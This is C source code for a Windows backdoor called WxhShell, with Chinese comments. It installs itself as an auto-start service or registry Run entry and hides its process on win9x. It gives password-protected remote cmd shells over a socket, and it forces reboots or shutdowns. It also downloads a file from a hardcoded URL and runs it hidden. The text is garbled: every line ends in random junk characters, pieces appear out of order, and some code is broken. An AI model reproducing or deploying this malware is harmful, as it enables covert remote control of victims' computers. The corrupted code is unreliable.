    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Zh.9j7 >p  
    if(Boot(SHUTDOWN)) x42m+5/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .SSj=q4?  
    else { @y\M8C8  
    closesocket(wsh); J3=^ +/g  
    ExitThread(0); .zyi'Kj  
    } wkZ}o,{*:  
    break; 8:0.Pi(ln@  
    } !Zf)N_k  
  // 获取shell ,ffH:3F  
  case 's': { -Z%B9ql'  
    CmdShell(wsh); 9/S-=VOe.t  
    closesocket(wsh); 4#@zn 2l  
    ExitThread(0); s@bo df&  
    break; A&QO]8  
  } (}n,Ou[  
  // 退出 mH} 1Zy  
  case 'x': { A ptzBs/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6tmn1:  
    CloseIt(wsh); z+B"RV  
    break; <P1sK/IZb  
    } CVBy&o"6A  
  // 离开 +-OqO3R  
  case 'q': { [2cG 7A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sHulaX{  
    closesocket(wsh); Y)4&PN~[  
    WSACleanup(); My!<_Hp-W  
    exit(1); Z:}d\~`x$%  
    break; cO !2|v8i  
        } j_*#"}Lcp  
  } e|ngnkf(G  
  } x5}Ru0Z  
m48m5>  
  // 提示信息 7*r7Q'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LHz-/0 [  
} HGpj(U:`c  
  } _(s|@UT#  
!'^gqaF+  
  return; >*%mJX/F  
} E5G=Kh[NP  
jE</a %  
// shell模块句柄 1Lb+ &  
int CmdShell(SOCKET sock) \?e{/hXnl  
{ ;  u0 MY  
STARTUPINFO si; $k|k5cP8x  
ZeroMemory(&si,sizeof(si)); dRXF5Ox5K}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1x#Z}XG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LCRZ<?O[|  
PROCESS_INFORMATION ProcessInfo; {?' DZR s  
char cmdline[]="cmd"; 2!b+}+:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R1X{=ct  
  return 0; F+!K9(`|  
} EsU-Ckb_2:  
+,"/z\QO  
// 自身启动模式 n`krK"Ii  
int StartFromService(void) 4b B)t#  
{ B6iH[dTy_  
typedef struct J!,<NlP0K  
{ -%lA=pS{Fq  
  DWORD ExitStatus; Rb~NX  
  DWORD PebBaseAddress; Vn-y<*np  
  DWORD AffinityMask; b*xw=G3%  
  DWORD BasePriority; /}\EMP  
  ULONG UniqueProcessId; /8i3I5*  
  ULONG InheritedFromUniqueProcessId; 7 Ld5  
}   PROCESS_BASIC_INFORMATION; 9a5x~Z:'  
tTB,eR$  
PROCNTQSIP NtQueryInformationProcess; x_vaYUl)  
2R2ws.}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2WRa@;Tj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .>0j<|~  
3U0>Y%m|,  
  HANDLE             hProcess;  3%G>TB  
  PROCESS_BASIC_INFORMATION pbi; 0m^(|=N-  
) )q4Rh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8(e uWS  
  if(NULL == hInst ) return 0; 1>1&NQ#}  
Ap{p_~~iJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a'zf8id  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =Vv"\p8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >M\3tB2C  
E {$Jk]c  
  if (!NtQueryInformationProcess) return 0; 90o G+T4  
Ccld;c&+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ndn)}Z!0h  
  if(!hProcess) return 0; _h2axXFhT  
WKib$(%f6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @Q;%hb  
\Q"j^4   
  CloseHandle(hProcess); zU;%s<(p  
%- W3F5NK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "/e:V-W   
if(hProcess==NULL) return 0; z  %Ty;  
*E0dCY$  
HMODULE hMod; /*)zQ?N  
char procName[255]; E({W`b~_f  
unsigned long cbNeeded; < `r+ZyM  
=ILE/ pC-|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *"\QR>n   
]uN}n;`12  
  CloseHandle(hProcess); r%*,pN7O  
uz6S7I  
if(strstr(procName,"services")) return 1; // 以服务启动 Tji G!W8  
qU(,q/l  
  return 0; // 注册表启动 3xSt -MA  
} |N%?7PZ(  
fz[o;GTc  
// 主模块 kQ5mIJ9(  
int StartWxhshell(LPSTR lpCmdLine) LD]a!eY  
{ 3":vjDq$  
  SOCKET wsl; U_t[J|  
BOOL val=TRUE; #1-,s.)  
  int port=0; a\60QlAk~  
  struct sockaddr_in door; 6;WfsG5  
{Jf["Z  
  if(wscfg.ws_autoins) Install();  uIOnP  
nKI]f`P7  
port=atoi(lpCmdLine); +{(f@,&~{  
(7l'e=J0  
if(port<=0) port=wscfg.ws_port; A}Q6DHh26  
@N,(82k  
  WSADATA data; &M p??{g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5G!0Yy['  
AI{Tw>hZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J?]wA1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =hZ#Z]f  
  door.sin_family = AF_INET; cZB?_[Cp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tk'1o\@p9b  
  door.sin_port = htons(port); rucgav  
@ev"{dY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N`3q54_$  
closesocket(wsl); LhN?j5XqM  
return 1; c2Q KI~\x  
} U($bR|%D  
LH7m >/LJr  
  if(listen(wsl,2) == INVALID_SOCKET) { *3.K; Ic;  
closesocket(wsl); kiYHJ\a  
return 1;  GtR!a  
} !=(OvX_<  
  Wxhshell(wsl); &PQhJ#YG  
  WSACleanup(); _{Q)5ooP  
U"nk AW  
return 0; ,%)O/{p_  
&8p]yo2zO  
} E@}N}SR  
hkS0ae  
// 以NT服务方式启动 bTBV:]w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H7{)"P]{f  
{ >6Y @8 )  
DWORD   status = 0; j)G<PW  
  DWORD   specificError = 0xfffffff; o#GZ|9IL  
Qt-7jmZw1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5&59IA%S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4eF qD;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LxdF;JCz:  
  serviceStatus.dwWin32ExitCode     = 0; #`Af  
  serviceStatus.dwServiceSpecificExitCode = 0; y vIeK6  
  serviceStatus.dwCheckPoint       = 0; G>siyUh  
  serviceStatus.dwWaitHint       = 0; B*0TM+  
Y -yozt  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #mT\B[4h  
  if (hServiceStatusHandle==0) return; -!o*A>N  
s2Z'_r T  
status = GetLastError(); (,nQ7,2EX  
  if (status!=NO_ERROR) k4N_Pa$}\  
{ ` nd/N#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 77 g<`}{  
    serviceStatus.dwCheckPoint       = 0; [3K& cX}B  
    serviceStatus.dwWaitHint       = 0; pc/x&VY%  
    serviceStatus.dwWin32ExitCode     = status; \#50; 8VJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; xG_LEk( zD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [ TX1\*W  
    return; mafnkQU  
  } Z "mqH  
V^* ];`^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YR'dl_  
  serviceStatus.dwCheckPoint       = 0; Wi U-syNh  
  serviceStatus.dwWaitHint       = 0; e1<9:h+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =EJ8J;y_f  
} \wjT|z1+Y  
scc+r  
// 处理NT服务事件,比如:启动、停止 84f(BE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X%C`('"R  
{ 7sX#6`t  
switch(fdwControl) CMhl*dH  
{ 6o:b(v&Oo  
case SERVICE_CONTROL_STOP: PF+F^;C  
  serviceStatus.dwWin32ExitCode = 0; "?*B2*|}`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,=a+;D]'  
  serviceStatus.dwCheckPoint   = 0; ]F{F+r  
  serviceStatus.dwWaitHint     = 0; $)YalZ  
  { "xI70c{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '048Qykt;  
  } t6q7 w  
  return; tZXq<k9  
case SERVICE_CONTROL_PAUSE: (Sv=R(_s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \sn wR  
  break; O#_\@f#[  
case SERVICE_CONTROL_CONTINUE:  l;;,[xhq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; UuKW`(?^  
  break; QBYY1)6S,  
case SERVICE_CONTROL_INTERROGATE: 1La?x'{2MP  
  break; V3S"LJ  
}; uQhI)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c)j60y   
} 1b=,lm  
qdPmTaak  
// 标准应用程序主函数 W-RqooEv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) : uxJGx  
{ mI,a2wqi  
7VIfRN{5n  
// 获取操作系统版本 u<U8LR=)V5  
OsIsNt=GetOsVer(); !#Pr'm/,mu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {EjzJr>  
Qef5eih  
  // 从命令行安装 M7fPaJKL  
  if(strpbrk(lpCmdLine,"iI")) Install(); IKrojK8-?  
Y1wH_!%b  
  // 下载执行文件 `t7z LC^c  
if(wscfg.ws_downexe) { K_Pbzj4(P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :u,Ji9 u  
  WinExec(wscfg.ws_filenam,SW_HIDE); FrsXLUY  
} &c^tJ-s  
*snY|hF  
if(!OsIsNt) { %$<v:eMAs  
// 如果时win9x,隐藏进程并且设置为注册表启动 /EW=OZ/  
HideProc(); Wh)>E!~ 9  
StartWxhshell(lpCmdLine); A I v  
} Ow N~-).%-  
else 8 \"A-+_Q  
  if(StartFromService()) I]z4}#+cX  
  // 以服务方式启动 \"a~~Koe  
  StartServiceCtrlDispatcher(DispatchTable); B)x^S >  
else e +Ikw1y"f  
  // 普通方式启动 !lL~#l:F  
  StartWxhshell(lpCmdLine); +ovT?CM o  
R('\i/fy  
return 0; e>UU/Ks  
} ~}_S]^br  
,`ba?O?*G  
?>1wZ  
6T5\zInd  
=========================================== #z61 I"kU  
sB*!Nf^y  
v'Pbx  
1j]vJ4R_\  
rMoz+{1A  
uovSe4q5q  
" *m8{yh  
s$ kvLy<  
#include <stdio.h> SN 4JX  
#include <string.h> FMtg7+Q|>  
#include <windows.h> sk5B} -  
#include <winsock2.h> t=\ ffpA  
#include <winsvc.h> Mn 8| K nh  
#include <urlmon.h> G '%ZPh89  
u f1s}/M  
#pragma comment (lib, "Ws2_32.lib") ~J0r%P  
#pragma comment (lib, "urlmon.lib") t~|`RMn"  
@d n& M9Z  
#define MAX_USER   100 // 最大客户端连接数 BS2'BS8  
#define BUF_SOCK   200 // sock buffer ;> %wf3e  
#define KEY_BUFF   255 // 输入 buffer gSHN,8. `  
RNopx3  
#define REBOOT     0   // 重启 ' ,1[rWyc  
#define SHUTDOWN   1   // 关机 _4 YT2k  
?^ R"a##  
#define DEF_PORT   5000 // 监听端口 /&E]qc*-p  
ZkBWVZb  
#define REG_LEN     16   // 注册表键长度 5 0dx[v8  
#define SVC_LEN     80   // NT服务名长度 R"{P#U,HNO  
$T_>WUiK  
// 从dll定义API ?r}2JHvN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ( m7qc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l15Z8hYh j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6H!l>@a7v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \D-X _.v  
@zJiR{Je-U  
// wxhshell配置信息 wn.UjxX.  
struct WSCFG { xS;tmc  
  int ws_port;         // 监听端口 #"-DE-I[  
  char ws_passstr[REG_LEN]; // 口令 FP")$ ,=s  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q?bC'147O  
  char ws_regname[REG_LEN]; // 注册表键名 ltv ~Kh  
  char ws_svcname[REG_LEN]; // 服务名 ^SbxClUfw!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s)+] pxV0-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e35")z~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z%nplG'~|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SB:z[kfz|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )K]<\Q[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 od^o9(.W^  
%"ehZ d0r  
}; {5 3#Xd  
k&:~l@?O  
// default Wxhshell configuration @W=: r/  
struct WSCFG wscfg={DEF_PORT, B}@CtVWFz  
    "xuhuanlingzhe", Lie= DD  
    1, `,Fc271`  
    "Wxhshell", /Ri-iC >  
    "Wxhshell", T#KVN{O  
            "WxhShell Service", ~ymSsoD^  
    "Wrsky Windows CmdShell Service", J&L#^f*d  
    "Please Input Your Password: ", 55Xfu/hQ  
  1, Xif>ZL?aXb  
  "http://www.wrsky.com/wxhshell.exe", #dFE}!"#`  
  "Wxhshell.exe" yQq|!'MKk  
    }; qykI[4  
{>3w"(f7o  
// 消息定义模块 Bw.?Me)mf|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D7Ds*X`!l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g(R!M0hdF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'X~CrgQl  
char *msg_ws_ext="\n\rExit."; 6&btAwvOHx  
char *msg_ws_end="\n\rQuit."; >}r 1A  
char *msg_ws_boot="\n\rReboot..."; ;+n25_9  
char *msg_ws_poff="\n\rShutdown..."; S-79uo  
char *msg_ws_down="\n\rSave to "; Yez  
uFG ;AY|  
char *msg_ws_err="\n\rErr!"; 0xV[C4E[6  
char *msg_ws_ok="\n\rOK!"; LAGg(:3f3  
b~?3HY:t~K  
char ExeFile[MAX_PATH]; w ; PV &M  
int nUser = 0; A QPzId*z  
HANDLE handles[MAX_USER]; 6-\C?w A  
int OsIsNt; ~2UmX'  
UdFYG^i  
SERVICE_STATUS       serviceStatus; p]6/1&t="  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w!RJ8  
,UfB{BW  
// 函数声明 "R[6Q ^vw  
int Install(void); -];Hb'M.!e  
int Uninstall(void); h: zi8;(  
int DownloadFile(char *sURL, SOCKET wsh); E6xWo)`%5s  
int Boot(int flag); hOe$h,E']  
void HideProc(void); $oIGlKc:L  
int GetOsVer(void); OQ _wsAA  
int Wxhshell(SOCKET wsl); 3ZqtIQY`  
void TalkWithClient(void *cs); <7oZV^nd *  
int CmdShell(SOCKET sock); D[(T--LLT  
int StartFromService(void); nN(Q}bF  
int StartWxhshell(LPSTR lpCmdLine); (N{  
,-.=]r/s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )J&!>GP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {#l@9r%  
$]b&3_O$N8  
// 数据结构和表定义 CM+wkU ?,  
SERVICE_TABLE_ENTRY DispatchTable[] = J|b:Zo9<f"  
{ >H?~2O  
{wscfg.ws_svcname, NTServiceMain}, =@k 3*#\  
{NULL, NULL} 6K5KkEp  
}; `(L<Q%  
e(k$k>?  
// 自我安装 BBsZPJ5  
int Install(void) LESF*rh=  
{ (z'!'?v;  
  char svExeFile[MAX_PATH]; Ec['k&*7,  
  HKEY key; 3M{b:|3/q  
  strcpy(svExeFile,ExeFile); s`,.&  
fQ,(,^!;  
// 如果是win9x系统,修改注册表设为自启动 <$`ud P@  
if(!OsIsNt) { nmrdqSV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @3>nVa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !7anJl  
  RegCloseKey(key); (ZEDDV2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D"n 3If%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m}nA- *  
  RegCloseKey(key); 1I U*:Z;Rz  
  return 0; Pl[WCh  
    } #e;\Eap  
  } 7033#@_  
} s}":lXkrw  
else { b"z9Dpv  
%suXp,j  
// 如果是NT以上系统,安装为系统服务 .g6(07TyV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ps{}SZn  
if (schSCManager!=0) N+NS\Y5  
{ %i`YJ  
  SC_HANDLE schService = CreateService kx3]A"]>'  
  ( f%Bmx{Ttq  
  schSCManager, Hy1f,D  
  wscfg.ws_svcname, ACxjY2  
  wscfg.ws_svcdisp, \6v*c;ZF  
  SERVICE_ALL_ACCESS, PRF^<%mkI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~ TALpd  
  SERVICE_AUTO_START, "G!V?~;  
  SERVICE_ERROR_NORMAL, zf^F.wW  
  svExeFile, x^ ]1m%  
  NULL, '^.}5be&  
  NULL, \) T4NN  
  NULL, } g[(h=Qi  
  NULL, NYZI;P1DA  
  NULL 8fs::}0  
  ); %+Khj@aX  
  if (schService!=0) }!g^}BWWp  
  { <ba+7CK] w  
  CloseServiceHandle(schService); u<{uUui}$v  
  CloseServiceHandle(schSCManager); b."1p7'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); We,~P\g  
  strcat(svExeFile,wscfg.ws_svcname); j!<RY>u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gL;tyf1P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r`(U3EgP  
  RegCloseKey(key); 18U CZ;)>  
  return 0; O}_Z"y  
    } >|So`C3:e  
  } nLjo3yvV..  
  CloseServiceHandle(schSCManager); h|Uy!?l  
} K-*q3oh G  
} [-Dl,P=  
6~v|pA jY  
return 1; /h'b,iYVV  
} 4d0<uB&v'  
>T<"fEBI  
// 自我卸载 i&?do{YQ)  
int Uninstall(void) &4O0}ax*Zm  
{ Zcn,_b7  
  HKEY key; oXkxd3  
*n %J#[e(  
if(!OsIsNt) { P9D'L{yS/x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wc)f:]7  
  RegDeleteValue(key,wscfg.ws_regname); ;1 02ddRV  
  RegCloseKey(key); (P N!k0Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `Z0#IeX=  
  RegDeleteValue(key,wscfg.ws_regname); ,HdFE|  
  RegCloseKey(key); <C_FI` wk  
  return 0; #wZ:E,R  
  } AyMMr_q  
} hol54)7$3:  
} Ng3MfbFG  
else { UN}jpu<h  
xdH*[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Pc4FEH/  
if (schSCManager!=0) glppb$oB\  
{ G&Sp }  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >K9uwUi|b]  
  if (schService!=0) A@0%7xm  
  { ^KJIT3J(#  
  if(DeleteService(schService)!=0) { zk@K uBLL  
  CloseServiceHandle(schService); ]l'W=_XDg  
  CloseServiceHandle(schSCManager); }9xEA[@;  
  return 0; J$?*qZ(oO  
  } X|7Y|0o  
  CloseServiceHandle(schService); 5E/z.5 q  
  } `MtPua\_  
  CloseServiceHandle(schSCManager); O`hOVHD Q  
} jo4*,B1x  
} @M-+-6+  
2|)3Ly9  
return 1; ~a5p_xP  
} [EJ[Gg0m  
:,=no>mMx  
// 从指定url下载文件 v&B*InR?+  
int DownloadFile(char *sURL, SOCKET wsh) /0mbG!Ac  
{ )vK %LmP  
  HRESULT hr; B&`hvR  
char seps[]= "/"; PQRh5km  
char *token; YGObTIGJvf  
char *file; ~Cj55S+  
char myURL[MAX_PATH]; ?*z#G'3z1  
char myFILE[MAX_PATH]; :sBg+MS  
g(Jzu'  
strcpy(myURL,sURL); v 6?{g  
  token=strtok(myURL,seps); hb"t8_--c  
  while(token!=NULL) gC#PqK~  
  { xh\{ dUPA  
    file=token; Y$ ;C@I  
  token=strtok(NULL,seps); ']+-u{+#  
  } h&Ehp   
Q- %Q7n'c  
GetCurrentDirectory(MAX_PATH,myFILE); ^Q]*CU+C  
strcat(myFILE, "\\"); s45Y8!c  
strcat(myFILE, file); Yo c N@s  
  send(wsh,myFILE,strlen(myFILE),0); #s1O(rLRl  
send(wsh,"...",3,0); vvLm9Tw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Poacd;*  
  if(hr==S_OK) rs3Uk.Z^ '  
return 0; ~n84x  
else 0EYK3<k9!  
return 1; S ; x;FU  
5o5y3ibQ  
} Wr7^  
a'ViyTBo  
// 系统电源模块 F t%f"Z  
int Boot(int flag) K^k1]!W=  
{ $Tt@Xu  
  HANDLE hToken; \c+)Y}:D  
  TOKEN_PRIVILEGES tkp; IBWUeB:b  
"2X=i`rTi  
  if(OsIsNt) { jBV2]..  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %,GY&hTw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SU9#Y|I  
    tkp.PrivilegeCount = 1; Pn5@7~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lC +p2OG^[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tgDmHxB]0  
if(flag==REBOOT) { T"'"T]^ X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `/<KDd:_t  
  return 0;  c/I.`@  
} oq=D9  
else { ~<3qsA..  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4em7PmT  
  return 0; :*e0Z2=  
} 8f% @  
  } =V1k'XJ  
  else { S'HM|&  
if(flag==REBOOT) { ]YZ+/:#U7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _tL*sA>[~)  
  return 0; >>wb yj8  
} ;"&^ckP  
else { zGu(y@o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =O w}MX  
  return 0; fEdQR->  
}  FZnkQ  
} O: sjf?z  
K GkzE  
return 1; LGPy>,!  
} t(CdoE,6  
Lm9y!>1"O  
// win9x进程隐藏模块 0X-u'=Bs  
void HideProc(void) XZA3T Z  
{ fSl+;|K n  
>\8Bu#&s4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *8U+2zgfC  
  if ( hKernel != NULL ) b/'fC%o,  
  { t/_w}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -c%GlpZw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 52tIe|KwL  
    FreeLibrary(hKernel); R 3 Eh47  
  } 5SK{^hw  
?};}#%971  
return; }+QgRGQ  
} /]T#@>('  
Xcicqywe?  
// 获取操作系统版本 =+97VO(w]G  
int GetOsVer(void) NDU,9A.P  
{ C+,;hj  
  OSVERSIONINFO winfo; #18H Z4N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m1VyYG  
  GetVersionEx(&winfo); ,Vt7Kiu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '  G-]>  
  return 1; c}Y(Myd  
  else UMo=bs  
  return 0; Qwk  
} oKz|hks[6  
Uq~{=hMX  
// 客户端句柄模块 |h*H;@$  
int Wxhshell(SOCKET wsl) i=reJ(y-  
{ ]~87v  
  SOCKET wsh; Us M|OH5k  
  struct sockaddr_in client; D<#+ R"  
  DWORD myID; `.Y["f 1B  
Mvrc[s+o  
  while(nUser<MAX_USER) 7<AHQ<#@  
{ C!B2 .:ja  
  int nSize=sizeof(client); AGn:I??  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LCRreIIgZ  
  if(wsh==INVALID_SOCKET) return 1; @W=#gRqQPy  
xqO'FQO%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RERum  
if(handles[nUser]==0) ;) 5d wq  
  closesocket(wsh); hv}rA,Yd  
else #wNksh/J^  
  nUser++; q*Yh_IT.I  
  } AASw^A3p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z* YkD"]B  
%z J)mOu  
  return 0; NM/?jF@j*  
} L"1UUOKy  
 {IYfq)c  
// 关闭 socket z;GnQfYG  
void CloseIt(SOCKET wsh) $=4T# W=m  
{ nu}$wLM  
closesocket(wsh); PNd]Xmv)  
nUser--; A0cC)bd&  
ExitThread(0); ZBcZG  
} 26yv w  
'73dsOTIT  
// 客户端请求句柄 J8J~$DU\Gv  
void TalkWithClient(void *cs) i RS )Z )  
{ $s4rG=q  
 ^vYH"2  
  SOCKET wsh=(SOCKET)cs; ]=2Ba<)m  
  char pwd[SVC_LEN]; b~Op1p  
  char cmd[KEY_BUFF]; d47b&.v8e  
char chr[1]; 5.]+K<:h"A  
int i,j; vJ7I [Z  
LgjL+w19  
  while (nUser < MAX_USER) { "'4R _R  
X~sl5?  
if(wscfg.ws_passstr) { ,_r"=>?@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wW1aG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gV):3mWC  
  //ZeroMemory(pwd,KEY_BUFF); :mX c|W3  
      i=0; ~_QZiuq&  
  while(i<SVC_LEN) { X_ne#ZPl  
~urIA/  
  // 设置超时 2#kR1rJP  
  fd_set FdRead; dd@^e)VZB  
  struct timeval TimeOut; 93XTumpV  
  FD_ZERO(&FdRead); &v Lz{  
  FD_SET(wsh,&FdRead); f/~"_O%  
  TimeOut.tv_sec=8; YxlV2hcX;  
  TimeOut.tv_usec=0; 2S&e!d-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1Zx|SBF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Sf B+;i'D  
Yew n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cNtGjLpx;  
  pwd=chr[0]; [pUw(KV2m  
  if(chr[0]==0xd || chr[0]==0xa) { wV+ W(  
  pwd=0; D!h8NZ;El  
  break; B&Q\J>l9S  
  } !lKO|Y  
  i++; +J} wYind  
    } $\Bzp<SN`  
K19/M1~  
  // 如果是非法用户,关闭 socket h8Q+fHDYv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); --d<s  
} ;gY W!rM  
U[*VNJSp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F^ 7qLvh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K~H)XJFF  
K:Wxx "  
while(1) { i6?,2\K  
L@HPU;<  
  ZeroMemory(cmd,KEY_BUFF); l_hM,]T0  
P,k~! F^L  
      // 自动支持客户端 telnet标准   swYlp  
  j=0; kQ 7$,K#  
  while(j<KEY_BUFF) { mTz %;+|L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0; 2i"mzS\  
  cmd[j]=chr[0]; :'91qA%Wr  
  if(chr[0]==0xa || chr[0]==0xd) { D*6v.`]X  
  cmd[j]=0; +D[|L1{xb  
  break; '$YB -  
  } +>/ariRr  
  j++; KtchK pv  
    } =dx!R ,Bw  
_Db=I3.HJ  
  // 下载文件 vH%AXz IA  
  if(strstr(cmd,"http://")) { <vJPKQ`=:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K*&M:u6E  
  if(DownloadFile(cmd,wsh)) Py$Q]s?\1  
